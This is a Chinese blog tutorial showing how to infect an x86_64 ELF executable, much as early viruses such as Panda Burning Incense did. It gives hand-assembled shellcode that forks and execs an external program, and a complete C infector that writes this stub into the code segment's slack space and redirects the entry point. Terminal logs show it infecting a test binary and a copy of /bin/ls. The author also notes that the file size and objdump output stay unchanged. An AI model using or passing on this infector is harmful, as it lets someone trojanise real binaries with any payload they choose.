前面的文章在介绍如何将代码注入Linux内核模块的时候,我提到 “修改ELF文件或者PE文件的入口,让它跳到自己的逻辑”这件事很容易。
真的很容易吗?是的,真的很容易。本文就是要演示这个的。
还记得熊猫烧香病毒吧,包括它在内的早期计算机病毒都是靠这种方式来注入自己的代码并实现自我复制的,当然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。
若想修改ELF文件,我们先要了解ELF文件的结构,这个只需要花10分钟大致浏览即可,本文不会花篇幅介绍ELF的相关概念。
本文演示的例子很简单,就是感染一个既有的LEF可执行文件,首先,我们先提供该可执行文件的代码:
// hello.c
int main()
{
printf("aaaaaaaaaaaaa\n");
}
我们将它编译成hello可执行文件。
接下来我们尝试用另一个程序去修改它的入口,新的入口逻辑如下:
if (fork() == 0) {
exec("/bin/aa");
} else {
goto orig_entry;
}
我们肯定不能往ELF文件里直接注入C代码,就好像我们不能往血管里注射拉面汤一样。所以我们必须得到上述逻辑的汇编指令码。
如何得到指令码呢?
我们手工把上面的C逻辑写成内联汇编,然后在编译成可执行文件,通过objdump就能查到汇编指令码:
void func()
{
asm ("xor %rax, %rax;\n"
"mov $0x39, %al;\n" // fork的系统调用号
"syscall; \n"
"test %eax, %eax;\n"
"je exec;\n"
"nop; nop; nop; nop; nop;\n" // jmp orig 的5字节占位指令,运行时待定
"exec:\n"
"mov $0x61612f6e69622f, %r11;\n"
"push %r11\n;"
"mov $0x0, %edx;\n"
"mov $0x0, %rsi;\n"
"mov %rsp, %rdi;\n"
"mov $0x3b, %eax;\n" // 填入exec的系统调用号
"syscall;\n"
"orig:\n"
);
}
void main()
{
func();
}
编译好后通过objdump -D我们可以得到下面的指令:
00000000004004cd <func>:
4004cd: 55 push %rbp
4004ce: 48 89 e5 mov %rsp,%rbp
4004d1: 48 31 c0 xor %rax,%rax
4004d4: b0 39 mov $0x39,%al
4004d6: 0f 05 syscall
4004d8: 85 c0 test %eax,%eax
4004da: 74 05 je 4004e1 <exec>
4004dc: 90 nop
4004dd: 90 nop
4004de: 90 nop
4004df: 90 nop
4004e0: 90 nop
00000000004004e1 <exec>:
4004e1: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11
4004e8: 61 61 00
4004eb: 41 53 push %r11
4004ed: ba 00 00 00 00 mov $0x0,%edx
4004f2: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
4004f9: 48 89 e7 mov %rsp,%rdi
4004fc: b8 3b 00 00 00 mov $0x3b,%eax
400501: 0f 05 syscall
OK,我们将其整理后,会得到下面的stub_code数组:
unsigned char stub_code[] =
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x39" // mov $0x39,%al
"\x0f\x05" // syscall
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je 40070c <__FRAME_END__+0x14>
"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>
"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11
"\x41\x53" // push %r11
"\xba\x00\x00\x00\x00" // mov $0x0,%edx
"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi
"\x48\x89\xe7" // mov %rsp,%rdi
"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax
"\x0f\x05"; // syscall
#define RELJMP 11
原材料已经准备好,就等着将上面的数组里的字节码注入到hello程序了。
在实施注入之前,说明两点。
首先,注意上面的指令:
movabs $0x61612f6e69622f,%r11
push %r11
mov %rsp,%rdi
很明显,按照x86_64的函数调用参数规范,rdi寄存器里就是exec系统调用的第一个参数,即 “/bin/aa” ,但是exec的参数准备极其麻烦,且需要一个字符串,而我们知道,字符串是保存在ELF文件的单独的节的,我不想那么麻烦,再注入一个字符串,我只想注入一段代码,仅仅是代码,所以我这里取了个巧:
// 我将字符串编码到了一个long型的数字里。
char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0};
char *pname;
unsigned long pv = *(unsigned long *)&name[0];
// 0x61612f6e69622f,即 aa/nib/,小端转换为/bin/aa
pname = (char *)&pv; // pname就是aa
同时,我利用了push来使得该long型数字的指针保存在rsp中,这样只需要下面的操作,rdi寄存器里就是exec的第一个参数了:
push %r11
mov %rsp,%rdi
如此一来,就省去了复杂的字符串的保存和操作。好玩吗?在继续之前,/bin/aa到底是什么有必要揭露一下,它其实很简单,就是打印一句话:
int main()
{
printf("rush tighten beat electric discourse\n"); // “赶紧打电话”的意思
}
我们希望的效果就是,所有被感染的程序(在我们的例子中,就是hello),在执行的时候,都会打印这么一句“赶紧打电话”的句子。
OK,让我们继续。
是时候给出修改entry的代码了,还是那句话,我不敢保证这个代码完全没有bug,但它足够简单,且能工作,为了展示效果,简单是最重要的。
代码如下:
#include
#include
#include
#include
#include
unsigned char stub_code[] =
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x39" // mov $0x39,%al
"\x0f\x05" // syscall
"\x85\xc0" // test %eax,%eax
"\x74\x05" // je 40070c <__FRAME_END__+0x14>
"\x00\x00\x00\x00\x00" // index is 11 // jmpq 400430 <_start>
"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00" // movabs $0x61612f6e69622f,%r11
"\x41\x53" // push %r11
"\xba\x00\x00\x00\x00" // mov $0x0,%edx
"\x48\xc7\xc6\x00\x00\x00\x00" // mov $0x0,%rsi
"\x48\x89\xe7" // mov %rsp,%rdi
"\xb8\x3b\x00\x00\x00" // mov $0x3b,%eax
"\x0f\x05"; // syscall
#define RELJMP 11
int main(int argc, char **argv)
{
int fd, i;
unsigned char *base;
unsigned int size, *off, offs;
unsigned long stub, orig;
unsigned long clen = sizeof(stub_code);
Elf64_Ehdr *ehdr;
Elf64_Phdr *phdrs;
// 这就是一个e9 jmp rel32指令
stub_code[RELJMP] = 0xe9;
off = (unsigned int *)&stub_code[RELJMP + 1];
fd = open(argv[1], O_RDWR);
size = lseek(fd, 0, SEEK_END);
base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
ehdr = (Elf64_Ehdr *) base;
phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];
shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];
orig = ehdr->e_entry;
for (i = 0; i < ehdr->e_phnum; ++i) {
if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {
// 这里假设只有简单的一个可执行的程序头
stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;
ehdr->e_entry = (Elf64_Addr)stub;
// 为了跳回原来的入口,这里需要计算相对偏移
offs = orig - (stub + RELJMP) - 5;
// 待定的rel32终究被赋值了
*off = offs;
memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);
printf("fsie:%d %08x\n", phdrs[i].p_filesz, ehdr->e_entry);
phdrs[i].p_filesz += clen;
phdrs[i].p_memsz += clen;
break;
}
}
munmap(base, size);
}
开始吧!来吧!
[root@localhost modentry]# cat test-1
gcc hello.c -o hello
gcc modelf.c -o modelf
./modelf ./hello
[root@localhost modentry]# ./test-1
hello.c: 在函数‘main’中:
hello.c:3:2: 警告:隐式声明与内建函数‘printf’不兼容 [默认启用]
printf("aaaaaaaaaaaaa\n");
^
fsie:1788 004006fc
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse
成功感染!
让我们感染一个系统的命令看如何:
[root@localhost modentry]# cp /bin/ls ./
[root@localhost modentry]# ./modelf ./ls
fsie:103980 0041962c
[root@localhost modentry]# ./ls
hello hello.c ls modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
成功感染!
我上面的感染代码非常简单,你可能觉得是错的。没错,它就是错的,因为它寄希望于程序后面有空余的空间,我甚至没有修改section的大小和文件的大小,我们发现,在注入感染前后,文件的大小并没有变化,而且还有更好 副作用 :
[root@localhost modentry]# /bin/ls
hello hello.c ls modelf modelf.c nop pwd test-1
[root@localhost modentry]# objdump -D /bin/ls >./lsdump1
[root@localhost modentry]# ./ls
hello hello.c ls lsdump1 modelf modelf.c nop pwd test-1
rush tighten beat electric discourse
[root@localhost modentry]# objdump -D ./ls >./lsdump2
[root@localhost modentry]#
[root@localhost modentry]# diff lsdump1 lsdump2
2c2
< /bin/ls: 文件格式 elf64-x86-64
---
> ./ls: 文件格式 elf64-x86-64
我们看到,其objdump的结果没有任何区别。而如果我们把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那么可执行文件被感染之后,objdump的结果将会多出下面的内容:
00000000004006f8 <__FRAME_END__>:
4006f8: 00 00 add %al,(%rax)
4006fa: 00 00 add %al,(%rax)
4006fc: 48 31 c0 xor %rax,%rax
4006ff: b0 39 mov $0x39,%al
400701: 0f 05 syscall
400703: 85 c0 test %eax,%eax
400705: 74 05 je 40070c <__FRAME_END__+0x14>
400707: e9 24 fd ff ff jmpq 400430 <_start>
40070c: 49 bb 2f 62 69 6e 2f movabs $0x61612f6e69622f,%r11
400713: 61 61 00
400716: 41 53 push %r11
400718: ba 00 00 00 00 mov $0x0,%edx
40071d: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
400724: 48 89 e7 mov %rsp,%rdi
400727: b8 3b 00 00 00 mov $0x3b,%eax
40072c: 0f 05 syscall
仔细看,是不是我们注入的代码呢?
最后,我要解释一下,为什么要调用exec执行外部程序呢?直接把代码灌进去不是更直接吗?
是的,这个我肯定知道,但是:
然而,我的目标已经彰显,如果不怕费事,完全可以在stub_code里塞入下面的逻辑:
为经理下订单,购买¥18000的皮鞋以及¥49800的西裤,货到付款。
浙江温州皮鞋湿,下雨进水不会胖。